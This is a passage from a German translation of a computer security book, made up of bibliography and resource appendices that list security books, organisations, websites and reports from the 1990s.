ftp://ftp.cert.dfn.de/pub/pem/docs/UKERNA-email-security.ps.gz.
Anonymous Internet Mercantile Protocol. David M. Kristol, Steven H. Low und Nicholas F. Maxemchuk. 1994.
http://julmara.ce.chalmers.se/Security/accinet.ps.gz.
Anonymous Credit Cards. Steven Low und Nicholas F. Maxemchuk und Sanjoy Paul. 1994.
http://julmara.ce.chalmers.se/Security/anoncc.ps.gz.
Anonymität wahren
file:///d|/cool stuff/old/hack/kap29.htm (23 von 24) [19.04.2000 21:15:49]
NetCash: A Design for Practical Electronic Currency on the Internet. Gennady Medvinsky und B. Clifford Neuman.
1993. http://julmara.ce.chalmers.se/Security/netcash2.ps.gz.
Electronic Fingerprints: Computer Evidence Comes of Age. M. R. Anderson, Government Technology Magazine.
November 1996.
Achieving Electronic Privacy. David Chaum. Scientific American, S. 96-101. August 1992.
Erased Files Often Aren't. M. R. Anderson, Government Technology Magazine. Januar 1997.
FBI Seeks Right to Tap All Net Services. M. Betts, ComputerWorld, Vol. XXVI, No. 23. 8. Juni 1992.
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Anonymität wahren
file:///d|/cool stuff/old/hack/kap29.htm (24 von 24) [19.04.2000 21:15:49]
A
Bibliographie zum Thema Sicherheit -
weiterführende Literatur
Dieser Anhang enthält eine Bibliographie zum Thema Internet-Sicherheit. Viele der erwähnten Bücher
wurden im letzten Jahr herausgegeben. Einige behandeln das Thema »Sicherheit« allgemein, andere
konzentrieren sich auf spezielle Probleme. Ich kann sie alle als weiterführende Literatur empfehlen.
Auf der CD-ROM, die diesem Buch beigefügt ist, finden Sie die Bibliographie im HTML- Format. Wenn
Sie einen Titel anklicken, gelangen Sie auf die Web-Site von Amazon, auf der Sie mehr über die
einzelnen Bücher lesen können. In vielen Fällen finden Sie dort Kommentare von Lesern,
Buchbesprechungen und weitere Informationen, die Ihnen helfen können zu entscheiden, welche Titel für
Sie interessant sind.
A.1 Allgemeine Internet-Sicherheit
Access Control and Personal Identification Systems. Don M. Bowers. Butterworth-Heinemann, 1998.
ISBN 0750697326.
Actually Useful Internet Security Techniques. Larry J. Hughes, Jr. New Riders. ISBN 1562055089.
Advanced Military Cryptography. William F. Friedman. Aegean Park Press, 1996. ISBN 0894120115.
Advances in Computer System Security. Rein Turn. Artech House, 1988. ISBN 089006315X.
AIX RS/6000 System and Administration Guide. James W. Deroest. McGraw-Hill, 1994. ISBN
0070364397.
Apache Server Survival Guide. Manuel Alberto Ricart. Sams.net, 1996. ISBN 1575211750.
Applied Cryptography: Protocols, Algorithms, and Source Code in C. Bruce Schneier. John Wiley &
Sons, 1995. ISBN 0471117099.
Applied Java Cryptography. Merlin Hughes. Manning Publications, 1998. ISBN 1884777635.
AS/400 Security in a Client/Server Environment. Joseph S. Park. John Wiley & Sons, 1995. ISBN
0471116831.
AS/400 System Administration Guide. Jesse Gamble, Bill Merrow. McGraw-Hill, 1994. ISBN
Bibliographie zum Thema Sicherheit - weiterführende Literatur
file:///d|/cool stuff/old/hack/kap_a.htm (1 von 12) [19.04.2000 21:15:51]
0070227985.
Audit Trail Administration, UNIX Svr 4.2. UNIX Systems Lab. Prentice Hall, 1993. ISBN 0130668877.
Bandits on the Information Superhighway (What You Need to Know). Daniel J. Barrett. O'Reilly &
Associates, 1996. ISBN 1565921569. (Deutsch: Gauner und Ganoven im Internet, ISBN 3930673444).
Basic Methods of Cryptography. Jan C. A. Van Der Lubbe. Cambridge University Press, 1998. ISBN
0521555590.
Bots and Other Internet Beasties. Joseph Williams. Sams.net, 1996. ISBN 1575210169.
Break the Code: Cryptography for Beginners. Bud Johnson, Larry Daste. Dover Publications, 1997.
ISBN 0486291464.
Building in Big Brother: The Cryptographic Policy Debate. Deborah Russell, G. T. Gangemi, Rebecca J.
Duncan, Stephen T. Kent, Kim Lawson-Jenkins, Philip Zimmermann, et al. Springer-Verlag, 1995. ISBN
0387944419.
Building Internet Firewalls. D. Brent Chapman, Elizabeth D. Zwicky. O'Reilly & Associates, 1995.
ISBN 1565921240. (Deutsch: Einrichten von Internet-Firewalls, ISBN 3930673312).
Building Secure and Reliable Network Applications. Kenneth P. Birman. Prentice Hall, 1997. ISBN
0137195842.
The Codebreakers: The Comprehensive History of Secret Communication from Ancient Times to the
Internet. David Kahn. Scribner, 1996. ISBN 0684831309.
Codes and Cryptography. Dominic Welsh. Oxford University Press, 1988. ISBN 0198532873.
Codes Ciphers and Secret Writing. Martin Gardner. Dover Publications, 1984. ISBN 0486247619.
Commonsense Computer Security: Your Practical Guide to Information Protection. Martin R. Smith.
McGraw Hill, 1993. ISBN 0077078055.
The Complete Idiot's Guide to Protecting Yourself on the Internet. Aaron Weiss. Que, 1995. ISBN
1567615937.
Computer Communications Security. Warwick Ford. Prentice Hall, 1994. ISBN 0137994532.
Computer Crime: A Crimefighter's Handbook. David J. Icove, Karl A. Seger, and William R. Vonstorch.
O'Reilly & Associates, 1995. ISBN 1565920864.
Computer Hacking: Detection and Protection. Imtiaz Malik. Sigma Press, 1996. ISBN 1850585385.
The Computer Privacy Handbook. André Bacard. Peachpit Press, 1995. ISBN 32295410.
Computer Security. John M. Carroll. Butterworth-Heinemann, 1996. ISBN 0750696001.
Computer Security. D. W. Roberts. Blenheim Online Publications, 1990. ISBN 0863531806.
Computer Security and Privacy: An Information Sourcebook. Mark W. Greenia. Lexikon Services, 1998.
ISBN 0944601464.
Bibliographie zum Thema Sicherheit - weiterführende Literatur
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Computer Security Basics. Deborah Russell and G. T. Gangemi, Sr. O'Reilly & Associates, 1991. ISBN
0937175714.
Computer Security for Dummies. Peter T. Davis and Barry D. Lewis. IDG Books, 1996. ISBN
1568846355.
Computer Security Handbook. R. A. Elbra. NCC Blackwell, 1992. ISBN 1855541440.
Computer Security Management. Karen A. Forcht. Boyd & Fraser, 1994. ISBN 0878358811.
Computer Security Risk Management. I. C. Palmer & G. A. Potter. Van Nostrand Reinhold, 1990. ISBN
0442302908.
Computer Security: Threats and Countermeasures. K. Bhaskar. NCC Blackwell, 1993. ISBN
1855541742.
Computer System and Network Security. Gregory B. White, Eric A. Fisch, and Udo W. Pooch. CRC
Press, 1996. ISBN 0849371791.
Computer Virus Handbook. Richard Levin. Osborne McGraw-Hill, 1990. ISBN 0078816475.
Computer Viruses and Anti-Virus Warfare. Jan Hruska. Prentice Hall, 1993. ISBN 0130363774.
Computers Ethics & Social Values. Deborah G. Johnson, Helen Nissenbaum. Prentice Hall, 1995. ISBN
0131031104.
Computers Ethics and Society. M. David Ermann, Mary B. Williams, and Michele S. Shauf. Oxford
University Press, 1997. ISBN 019510756X.
Computers Under Attack: Intruders, Worms, and Viruses. Peter J. Denning. ISBN 0201530678.
Contemporary Cryptology: The Science of Information Integrity. Gustavus J. Simmons. IEEE, 1992.
ISBN 0879422777.
Course in Cryptography. Marcel Givierge. Aegean Park Press, 1996. ISBN 089412028X.
Cryptography & Privacy Sourcebook. David Banisar. BPI Information Services, 1997. ISBN
1579791077.
Cryptography and Secure Communications. Man Young Rhee. McGraw-Hill, 1994. ISBN 0071125027.
Cryptography the Science of Secret Writing. Laurence D. Smith. Dover Publications, 1955. ISBN
048620247X.
Cryptography: Theory and Practice (Discrete Mathematics and Its Applications). Douglas R. Stinson.
CRC Publications, 1995. ISBN 0849385210.
Cyber Crime: How to Protect Yourself from Computer Criminals. Laura E. Quarantiello. Tiare
Publications, 1996. ISBN 0936653744.
Cyberpunk Handbook. R. U. Sirius and Bart Nagel. Random House, 1995. ISBN 0679762302.
Cyberpunk: Outlaws and Hackers on the Computer Frontier. Katie Hafner and John Markoff. Simon &
Bibliographie zum Thema Sicherheit - weiterführende Literatur
file:///d|/cool stuff/old/hack/kap_a.htm (3 von 12) [19.04.2000 21:15:52]
Schuster, 1991. ISBN 0671683225.
Cyberwars: Espionage on the Internet. Jean Guisnel and Winn Schwartau. Plenum Press, 1997. ISBN
0306456362.
Decrypted Secrets: Methods and Maxims of Cryptology. Friedrich L. Bauer. Springer Verlag, 1997.
ISBN 3540604189.
Designing and Implementing Microsoft Internet Information Server. Weiying Chen, Sanjaya Hettihewa,
Arthur Knowles, and Paolo Pappalardo. Sams.net, 1996. ISBN 1575211688.
Digital Copyright Protection. Peter Wayner. AP Professional, 1997. ISBN 0127887717.
Disappearing Cryptography: Being and Nothingness on the Net. Peter Wayner. Ap Professional, 1996.
ISBN 0127386718.
Disaster Recovery Planning for Computers and Communication Resources. Jon William Toigo. John
Wiley & Sons, 1996. ISBN 0471121754.
Distributed Programming Paradigms with Cryptography Applications. J. S. Greenfield. Springer Verlag,
1994. ISBN 354058496X.
E-Commerce Security: Weak Links, Best Defenses. Anup K. Ghosh. John Wiley & Sons, 1998. ISBN
0471192236.
E-Mail Security: How To Keep Your Electronic Messages Private. Bruce Schneier. John Wiley & Sons,
1995. ISBN 047105318X.
Elementary Military Cryptography. William F. Friedman. Aegean Park Press, 1996. ISBN 0894120999.
Encyclopedia of Cryptology. David E. Newton. ABC-Clio Publications, 1997. ISBN 0874367727.
Enigma: How the German Cipher Was Broken, and How it Was Read by the Allies in WWII. Wladyslaw
Kozaczuk. Univ Publications of America, 1984. ISBN 0313270074.
Essential SCO System Administration. Keith Vann. Prentice Hall, 1995. ISBN 013290859X.
Essential Windows NT System Administration. Æleen Frisch. O'Reilly & Associates, 1998. ISBN
1565922743. (Deutsch: Windows-NT-System-Administration, ISBN 3897211181.)
Executive Guide to Preventing Information Technology Disasters. Richard Ennals. Springer Verlag,
1996. ISBN 3540199284.
Fire in the Computer Room, What Now?: Disaster Recovery Preparing for Business Survival. Gregor
Neaga, Bruce Winters, and Pat Laufman. Prentice Hall, 1997. ISBN 0137543913.
Firewalls and Internet Security: Repelling the Wily Hacker. William R. Cheswick and Steven M.
Bellovin. Addison-Wesley Publishing Company, 1994. ISBN 0201633574.
Firewalls Complete. Marcus Goncalves. McGraw-Hill, 1998. ISBN 0070246459.
Fundamentals of Computer Security Technology. Edward Amoroso. Prentice Hall, 1994. ISBN
0131089293.
Bibliographie zum Thema Sicherheit - weiterführende Literatur
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Halting the Hacker: A Practical Guide to Computer Security. Donald L. Pipkin. Prentice Hall, 1997.
ISBN 013243718.
Handbook of Applied Cryptography. Alfred J. Menezes, Paul C. Van Oorschot, and Scott A. Vanstone.
CRC Press, 1996. ISBN 0849385237.
Hp-Ux 10.X System Administration. Martin Poniatowski and Marty Poniatowski. Prentice Hall, 1995.
ISBN 0131258737.
HP-Ux System Administration Handbook and Toolkit. Marty Poniatowski. Prentice Hall, 1998. ISBN
0139055711.
Implementing AS/400 Security. Wayne Madden and Carol Woodbury. Duke Communications, 1998.
ISBN 1882419782.
Implementing Internet Security. Frederic J. Cooper. New Riders, 1995. ISBN 1562054716.
Information Security: An Integrated Collection of Essays. Marshall D. Abrams, Sushil Jajodia, Harold J.
Podell. Unknown, 1995. ISBN 0818636629.
Information Warfare: Chaos on the Electronic Superhighway. Winn Schwartau. Thunder's Mouth, 1996.
ISBN 1560251328.
An Interactive Guide to the Internet. J. Michael Blocher, Vito Amato, and Jon Storslee. Que Education
and Training, 1996. ISBN 1575763540.
Internet 1997 Unleashed. Jill Ellsworth, Billy Barron, et al. Sams.net, 1996. ISBN 1575211858.
Internet and Intranet Security. Rolf Oppliger. Artech House, 1997. ISBN 0890068291.
Internet and TCP/IP Network Security: Securing Protocols and Applications. Uday O. Pabrai and Vijay
K. Gurbani. McGraw-Hill, 1996. ISBN 0070482152.
Internet Besieged: Countering Cyberspace Scofflaws. Dorothy E. Denning and Peter J. Denning.
Addison-Wesley, 1997. ISBN 0201308207.
Internet Commerce. Andrew Dahl and Leslie Lesnick. New Riders, 1995. ISBN 1562054961.
Internet Cryptography. Richard E. Smith. Addison-Wesley Publishing Company, 1997. ISBN
0201924803.
Internet Firewalls and Network Security. Chris Hare and Specialized Systems Consultants. New Riders,
1996. ISBN 1562054376.
Internet Firewalls and Network Security. Chris Hare and Karanjit S. Siyan Ph.D. New Riders, 1996.
ISBN 1562056328.
Internet Security for Business. Terry Bernstein, et al. John Wiley & Sons, 1996. ISBN 0471137529.
Internet Security with Windows NT. Mark Joseph Edwards. Duke Communications, 1997. ISBN
1882419626.
Internet Security: Professional Reference. Derek Atkins, Tom Sheldon, Tim Petru, and Joel Snyder. New
Bibliographie zum Thema Sicherheit - weiterführende Literatur
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Riders, 1997. ISBN 156205760X.
Intranet Firewalls. Scott Fuller and Kevin Pagan. Ventana Communications Group, 1997. ISBN
1566045061.
Intranet Security: Stories from the Trenches. Linda McCarthy. Prentice Hall, 1997. ISBN 0138947597.
Introduction to Cryptolology and PC Security. Brian Beckett. McGraw-Hill, 1997. ISBN 007709235X.
Introduction to Internet Security: From Basics to Beyond. Garry S. Howard. Prima Publishing, 1995.
ISBN 1559587474.
Introduction to the Analysis of the Data Encryption Standard. Wayne G. Barker. Aegean Park Press,
1989. ISBN 0894121693.
Java Cryptography. Jonathan B. Knudsen. O'Reilly & Associates, 1998. ISBN 1565924029.
Java Network Security. Dave Durbin, John Owlett, Andrew Yeomans, and Robert S. MacGregor.
Prentice Hall, 1998. ISBN 0137615299.
Java Security. Scott Oakes. O'Reilly & Associates, 1998. ISBN 1565924037.
Java Security: Hostile Applets Holes & Antidotes. Gary McGraw, Edward Felten, and Edward Fellen.
John Wiley & Sons, 1996. ISBN 047117842X.
Java Security: Managing the Risks. MindQ Publishing, 1997. ISBN 1575590123.
Lan Times Guide to Security and Data Integrity. Marc Farley, Tom Stearns, and Jeffrey Hsu. Osborne
McGraw-Hill, 1996. ISBN 0078821665.
Managing Privacy: Information Technology and Corporate America. H. Jeff Smith. Univ of North
Carolina Press, 1994. ISBN 0807821470.
Masters of Deception: The Gang That Ruled Cyberspace. Michele Slatalla and Joshua Quittner. Harper
Perennial Library, 1996. ISBN 0060926945.
Microsoft Windows NT Network Administration Training. Microsoft Educational Services Staff.
Microsoft Press, 1997. ISBN 1572314397.
The Ncsa Guide to Enterprise Security: Protecting Information Assets. Michel E. Kabay. McGraw-Hill,
1996. ISBN 0070331472.
The Ncsa Guide to PC and LAN Security. Stephen Cobb. McGraw-Hill, 1996. ISBN 0079121683.
Netware Security. Doug Bierer and William Steen. New Riders, 1996. ISBN 1562055453.
Network and Internetwork Security: Principles and Practice. William Stallings. Prentice Hall, 1995.
ISBN 0024154830.
Network Security. Steven L. Shaffer and Alan R. Simon. AP Professional, 1994. ISBN 0126380104.
Network Security in a Mixed Environment. Dan Balckarski. IDG Books, 1998. ISBN 0764531522.
Bibliographie zum Thema Sicherheit - weiterführende Literatur
file:///d|/cool stuff/old/hack/kap_a.htm (6 von 12) [19.04.2000 21:15:52]
Network Security: How to Plan for It and Achieve It. Richard H. Baker. McGraw-Hill, 1994. ISBN
0070051410.
NT Network Security. Matthew Strebe, Charles Perkins, and Michael Moncur. Sybex, 1998. ISBN
0782120067.
The Official PGP User's Guide. Philip R. Zimmermann. MIT Press, 1995. ISBN 0262740176.
Pcweek Intranet and Internet Firewalls Strategies. Edward Amoroso and Ronald Sharp. Ziff-Davis, 1996.
ISBN 1562764225.
Pcweek Microsoft Windows NT Security: System Administrator's Guide. Nevin Lambert, Manish Patel,
and Steve Sutton. Ziff-Davis, 1997. ISBN 1562764578.
PC Security and Virus Protection. Pamela Kane. IDG Books, 1994. ISBN 1558513906.
PGP: Pretty Good Privacy. Simson Garfinkel. O'Reilly & Associates, 1995. ISBN 1565920988.
(Deutsch: PGP: Pretty Good Privacy, ISBN 3930673304.)
Practical Computer Network Security. Mike Hendry. Artech House, 1995. ISBN 0890068011.
Practical Cryptography for Data Internetworks. Edited by William Stallings. IEEE Computer Society,
1996. ISBN 0818671408.
Practical UNIX and Internet Security. Simson Garfinkel and Gene Spafford. O'Reilly & Associates,
1996. ISBN 1565921488.
Professional NT Internet Information Server 2 Administration. Christian Gross, Michael Tracy, and
Kevin Roche. Wrox Press, 1996. ISBN 1861000480.
Protecting Business Information: A Manager's Guide. James A. Schweitzer. Butterworth- Heinemann,
1995. ISBN 0750696583.
Protecting Your Web Site with Firewalls. Marcus Goncalves and Vinicius A. Goncalves. Prentice Hall,
1997. ISBN 0136282075.
Protecting Yourself Online: The Definitive Resource on Safety Freedom and Privacy in Cyberspace.
Robert B. Gelman, Stanton McCandlish, and Bob Gelman. HarperCollins, 1998. ISBN 0062515128.
Protection and Security on the Information Superhighway. Frederick B. Cohen. John Wiley & Sons,
1995. ISBN 0471113891.
Public-Key Cryptography. Arto Salomaa. Springer Verlag, 1996. ISBN 3540613560.
Risky Business: Protect Your Business from Being Stalked, Conned, Libeled or Blackmailed on the
Web. Dan Janal. John Wiley & Sons, 1998. ISBN 0471197068.
Secrets of Making and Breaking Codes. Hamilton Nickels. Citadel Press, 1994. ISBN 0806515635.
Secure Commerce on the Internet. Vijay Ahuja. AP Professional, 1996. ISBN 0120455978.
Secure Computing: Threats and Safeguards. Rita C. Summers. McGraw-Hill, 1997. ISBN 0070694192.
Bibliographie zum Thema Sicherheit - weiterführende Literatur
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Secure Data Networking. Michael Purse. Artech House, 1993. ISBN 0890066922.
Secure Electronic Commerce: Building the Infrastructure for Digital Signatures and Encryption.
Warwick Ford and Michael S. Baum. Prentice Hall, 1997. ISBN 0134763424.
Secure Electronic Transactions: Introduction and Technical Reference. Larry Loeb. Artech House, 1998.
ISBN 0890069921.
Security, ID Systems and Locks: The Book on Electronic Access Control. Joel Koniecek and Karen
Little. Butterworth-Heinemann, 1997. ISBN 0750699329.
Security in Computing. Charles P. Pfleeger. Prentice Hall, 1996. ISBN 0133374866.
Security Survival: A Source Book from the Open Group. X Open Guide. Prentice Hall, 1997. ISBN
0132666286.
Smart Card Security and Applications. Mike Hendry. Artech House, 1997. ISBN 0890069530.
Technology and Privacy: The New Landscape. Philip E. Agre and Marc Rotenberg. MIT Press, 1997.
ISBN 026201162X.
The Ultimate Computer Security Survey/Book and Disk. James L. Schaub and Ken D. Jr.
Butterworth-Heinemann, 1995. ISBN 0750696923.
The Underground Guide to Computer Security: Slightly Askew Advice on Protecting Your PC and
What's on It. Michael Alexander. Addison-Wesley Publishing Co., 1995. ISBN 020148918X.
Understanding Digital Signatures: Establishing Trust over the Internet and Other Networks. Gail L.
Grant. McGraw-Hill, 1997. ISBN 0070125546.
UNIX Installation Security and Integrity. David Ferbrache and Gavin Shearer. Prentice Hall, 1993. ISBN
0130153893.
UNIX Security. Miller Freeman. Miller Freeman, 1997. ISBN 0879304715.
Web Commerce Cookbook. Gordon McComb. John Wiley & Sons, 1997. ISBN 0471196630.
Web Psychos, Stalkers, and Pranksters: How to Protect Yourself in Cyberspace. Michael A. Banks.
Coriolis Group, 1997. ISBN 1576101371.
Web Security & Commerce. Simson Garfinkel and Gene Spafford. O'Reilly & Associates, 1997. ISBN
1565922697.
Web Security Sourcebook. Avi Rubin, Daniel Geer, and Marcus J. Ranum. John Wiley & Sons, 1997.
ISBN 047118148X.
Web Security: A Step-By-Step Reference Guide. Lincoln D. Stein. Addison-Wesley Pub Co., 1998.
ISBN 0201634899.
Who Knows: Safeguarding Your Privacy in a Networked World. Ann Cavoukian and Don Tapscott.
Random House, 1996. ISBN 0070633207.
Windows NT Administration: Single Systems to Heterogeneous Networks. Marshall Brain, Shay
Bibliographie zum Thema Sicherheit - weiterführende Literatur
file:///d|/cool stuff/old/hack/kap_a.htm (8 von 12) [19.04.2000 21:15:52]
Woodard, and Kelly Campbell. Prentice Hall, 1994. ISBN 0131766945.
Windows NT Security Guide. Steve A. Sutton. Addison-Wesley Publishing Co., 1996. ISBN
0201419696.
Windows NT Security Handbook. Tom Sheldon. Osborne McGraw-Hill, 1996. ISBN 0078822408.
Windows NT Security: A Practical Guide to Securing Windows NT Servers and Workstations. Charles
B. Rutstein. McGraw-Hill, 1997. ISBN 0070578338.
Windows NT Server 4 Security Handbook. Lee Hadfield, Dave Hatter, and Dave Bixler. Que, 1997.
ISBN 078971213X.
Windows NT Server and UNIX: Administration, Co-Existence, Integration and Migration. G. Robert
Williams and Ellen Beck Gardner. Addison-Wesley Publishing Company, 1998. ISBN 0201185369.
Windows NT User Administration. Ashley J. Meggitt and Timothy D. Ritchey. O'Reilly & Associates,
1997. ISBN 1565923014. (Deutsch: Windows-NT-Benutzer-Administration, ISBN 3897211114).
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A.1.2 NetWare
A Guide to NetWare for UNIX. Cathy Gunn. Prentice Hall, 1995. ISBN 0133007162.
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NetWare Web Development. Peter Kuo. Sams Publishing, 1996. ISBN 1575211886.
Novell's Guide to Creating Intranetware Intranets. Karanjit S. Siyan. IDG Books, 1997. ISBN
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Novell's Guide to Integrating NetWare and TCP/IP. Drew Heywood. Novell Press/IDG Books, 1996.
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Routing in Today's Internetworks: The Routing Protocols of Ip, Decnet, Netware, and Appletalk. Mark
Dickie. John Wiley & Sons, 1997. ISBN 0471286206.
Bibliographie zum Thema Sicherheit - weiterführende Literatur
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B
Wie Sie an weitere Informationen
gelangen
In diesem Anhang werden einige der Quellen aufgeführt, die ich für dieses Buch verwendet habe, sowie
einige Sites (bzw. Dokumente), die Ihnen helfen können, die Sicherheit besser zu verstehen.
B.1 Offizielle Informationsquellen
Die folgende Liste von Informationsquellen enthält Veröffentlichungen und Tools. Die meisten von
ihnen stammen von Personen, die im Bereich der Sicherheit tätig sind.
B.1.1 Sites im WWW
General Accounting Office: Information Security: Computer Attacks at Department of Defense Pose
Increasing Risks. Ein Bericht über Angriffe auf Sites des US-Verteidigungsministeriums.
http://www.epic.org/security/GAO_OMB_security.html
The Evaluated Products List (EPL). Dies ist eine Liste von Produkten, die basierend auf den
DoD-Richtlinien nach ihrer Sicherheit eingestuft worden sind.
http://www.radium.ncsc.mil/tpep/epl/epl-by-class.html
InterNIC (the Network Information Center). InterNIC bietet umfassende Datenbanken mit
Netzwerkinformationen an. Diese Datenbanken enthalten den größten Teil des gesammelten Wissens
zum Internet. Am interessantesten ist die Datenbank mit RFC-Dokumenten.
http://rs.internic.net/
The Rand Corporation. Diese Site enthält verschiedene Sicherheitsressourcen sowie spannende, ältere
Dokumente über den Aufbau des Internet.
http://www.rand.org/publications/electronic/
Connected: An Internet Encyclopedia. Dies ist eine unglaublich gute Online-Quelle von
RFC-Dokumenten und verwandten Informationen, sorgfältig in das HTML-Format übertragen.
Wie Sie an weitere Informationen gelangen
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http://www.freesoft.org/Connected/RFC/826/
The Computer Emergency Response Team (CERT). CERT ist eine Organisation, die Sites dabei hilft,
auf Verletzungen der Netzwerksicherheit, Einbrüche u.ä. zu reagieren. Eine sehr gute Informationsquelle,
besonders zu Sicherheitslücken.
http://www.cert.org/
Dan Farmer: Security Survey of Key Internet Hosts and Various Semi-Relevant Reflections. Eine
fantastische, unabhängige Studie, die von einem der Autoren des inzwischen berühmten Programms
SATAN durchgeführt wurde. Die Untersuchung befaßte sich mit ca. 2.200 Sites, und die Resultate sind
wirklich beunruhigend.
http://www.trouble.org/survey/
U.S. Department of Energy's Computer Incident Advisory Capability (CIAC). CIAC stellt dem U.S.
Department of Energy Sicherheitsdienstleistungen zur Verfügung, aber die Site ist auch für die
Öffentlichkeit zugänglich. Sie finden dort viele Tools und Dokumente.
http://ciac.llnl.gov/
The National Computer Security Association. Diese Site enthält eine Menge wertvolle
Sicherheitsinformationen, einschließlich Berichte, Arbeiten, Advisories sowie Analysen verschiedener
Produkte und Techniken zur Computersicherheit.
http://www.ncsa.com/
Short Courses in Information Systems Security at George Mason University. Diese Site enthält
Informationen über Kurse zum Thema Computersicherheit. Außerdem finden Sie hier Links zu einer
umfassenden Bibliographie von Dokumenten, die sich mit der Sicherheit beschäftigen.
http://www.isse.gmu.edu:80/~gmuisi/
NCSA RECON. Dies ist die Site der Spezialabteilung der National Computer Security Association. Sie
bietet einen Dienst an, mit dem man Tausende heruntergeladener Nachrichten durchsuchen kann, die
Hacker und Cracker in Mailboxen und dem Internet ausgetauscht haben. Diese kommerzielle Site ist eine
unglaublich gute Informationsquelle zur Sicherheit.
http://www.isrecon.ncsa.com/dox/FAQ/ISRFAQ.htm
Lucent Technologies. Diese Site enthält Informationen zu Kursen über Sicherheit, die von Leuten
angeboten werden, die wirklich etwas von Sicherheit verstehen.
http://www.attsa.com/
Massachusetts Institute of Technology Distribution Site of Pretty Good Privacy (PGP) for U.S.
Residents. PGP bietet die derzeit beste frei erhältliche Verschlüsselungsmethode.
http://web.mit.edu/network/pgp.html
The Anonymous Remailer FAQ. Dieses Dokument behandelt alle Aspekte zu Tools und Techniken für
Wie Sie an weitere Informationen gelangen
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Remailer.
http://www.well.com/user/abacard/remail.html
The Anonymous Remailer List. Eine umfassende, sich häufig ändernde Liste anonymer Remailer.
http://www.cs.berkeley.edu/~raph/remailer-list.html
Purdue University COAST Archive. Eine der umfassenderen Sicherheits-Sites, die viele für die
Sicherheitsgemeinde sehr interessante Tools und Dokumente enthält.
http://www.cs.purdue.edu//coast/archive
Raptor Systems. Der Hersteller eines der besseren Firewall-Produkte hat eine gute Sicherheitsbibliothek
zusammengestellt.
http://www.raptor.com/lib/index.html
The Risks Forum. Dies ist eine moderierte Sammlung von Beiträgen zu Sicherheits- und anderen Risiken
der Computerbenutzung. Diese großartige Quelle ist mit einer Suchfunktion versehen. Damit können Sie
sich ansehen, was Internet-Sicherheitsexperten zu sagen haben.
http://catless.ncl.ac.uk/Risks/
Forum of Incident Response and Security Teams (FIRST). FIRST ist ein Konglomerat von vielen
Organisationen, die Maßnahmen zur Verbesserung der Internet-Sicherheit ergreifen. Ein guter
Ausgangspunkt für die Suche nach weiteren Quellen.
http://www.first.org/
The CIAC Virus Database. Die ultimative Virendatenbank im Internet. Eine gute Quelle, um mehr über
Viren zu erfahren, die Ihre Plattform gefährden könnten.
http://ciac.llnl.gov/ciac/CIACVirusDatabase.html
Information Warfare and Information Security on the Web. Eine umfassende Liste von Links und
weiteren Informationsquellen zum Informationskrieg im Internet.
http://www.fas.org/irp/wwwinfo.html
Criminal Justice Studies of the Law Faculty of University of Leeds, The United Kingdom. Diese Site
enthält interessante Informationen zu Verschlüsselung und Bürgerrechten.
http://www.leeds.ac.uk/law/pgs/yaman/cryptog.htm
Federal Information Processing Standards Publication Documents (Government Guidelines). Das
National Institute of Standards and Technology informiert über DES-Verschlüsselung und verwandte
Technologien.
http://csrc.nist.gov/fips/fips46-2.txt
Wordlists Available at NCSA and Elsewhere. Diese Site kann man zum Testen der Stärke (oder zum
Wie Sie an weitere Informationen gelangen
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Knacken) von Paßwörtern verwenden.
http://sdg.ncsa.uiuc.edu/~mag/Misc/Wordlists.html
Department of Defense Password Management Guideline. Eine Abhandlung über Paßwortsicherheit in
klassifizierten Umgebungen.
http://www.alw.nih.gov/Security/FIRST/papers/password/dodpwman.txt
Dr. Solomon's. Diese Seite enthält eine Menge Informationen über Viren. Ein absolutes Muß für jeden,
der sich mit Viren beschäftigt.
http://www.drsolomon.com/
The Seven Locks Server. Eine eklektische Sammlung von Sicherheitsinformationen. Sie enthält eine
Menge Dokumente, die man nirgendwo anders finden kann!
http://www.sevenlocks.com/
S/Key Informational Page. Diese Site bietet Informationen zu S/Key und der Verwendung von
Einmalpaßwörtern zur Authentifizierung.
http://medg.lcs.mit.edu/people/wwinston/skey-overview.html
A Page Devoted to ATP, the »Anti-Tampering Program«. In mancher Hinsicht ähnelt ATP Tripwire oder
Hobgoblin.
http://www.cryptonet.it/docs/atp.html
Bugtraq Archive. Ein Archiv der populären Mailing-Liste Bugtraq, einer der verläßlichsten Quellen für
aktuelle Berichte über neu entdeckte Sicherheitslücken bei Unix (und manchmal auch anderen
Betriebssystemen).
http://geek-girl.com/bugtraq/
Wang Federal. Dieses Unternehmen entwickelt hochwertige Sicherheitsbetriebssysteme und andere
Sicherheitslösungen. Es ist führend im Bereich der TEMPEST-Technologie.
http://www.wangfed.com/
The Center for Secure Information Systems. Diese Site der George Mason University enthält einige
unglaublich gute Arbeiten. Die hier genannte URL führt Sie direkt auf die Seite mit den
Veröffentlichungen, aber Sie sollten sich unbedingt die ganze Site ansehen.
http://www.isse.gmu.edu/~csis/publication.html
SRI International. Diese Site bietet einige sehr anspruchsvolle technische Informationen. Sie müssen
allerdings zumindest ein flüchtiges Hintergrundwissen über Sicherheit haben, um wenigstens einige der
Konzepte begreifen zu können.
http://www.sri.com/
Wie Sie an weitere Informationen gelangen
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The Security Reference Index. Diese von telstra.com unterhaltene Site bietet eine umfassende Liste von
Links zu vielen Informationsquellen zum Thema Sicherheit.
http://www.telstra.com.au/info/security.html
Wietse Venema's Tools Page. Diese Seite von Wietse Venema (Co-Autor von SATAN und Autor von
TCP_Wrapper und vielen anderen Sicherheits-Tools) enthält viele Dokumente, Tools und allgemeine
Informationen. Ihr Besuch ist für jeden Unix-Administrator obligatorisch.
ftp://ftp.win.tue.nl/pub/security/index.html
B.1.2 Berichte und Veröffentlichungen
United States. Congress. House. Committee on Science, Space, and Technology. Subcommittee on
Science. Internet Security: Hearing Before the Subcommittee on Science of the Committee on Science,
Space, and Technology. U.S. House of Representatives, One Hundred Third Congress, second session,
March 22, 1994. Washington. U.S. G.P.O. Erhältlich über U.S. G.P.O., Supt. of Docs., Congressional
Sales Office. 1994.
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»The First Internet War; The State of Nature and the First Internet War: Scientology, its Critics,
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»The Paradox of the Secrecy About Secrecy: The Assumption of A Clear Dichotomy Between Classified
and Unclassified Subject Matter Paul Baran. MEMORANDUM RM-3765-PR; On Distributed
Communications: IX Security, Secrecy, and Tamper-Free Considerations. Rand Corporation. August
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»U.S. Files Appeal in Dismissed Baker Case.« Zachary M. Raimi. The Michigan Daily. 22. November
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»What's the Plan? Get a Grip on Improving Security Through a Security Plan.« Peter Galvin. SunWorld
Online. September 1995.
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»Windows NT Security Questioned: Experts Say Hackers Could Gain Entry to System.« Stuart J.
Johnston. CMP Media, Techweb.
http://techweb.cmp.com/iw/610/10iunt.htm
http://www.informationweek.com/
Tools
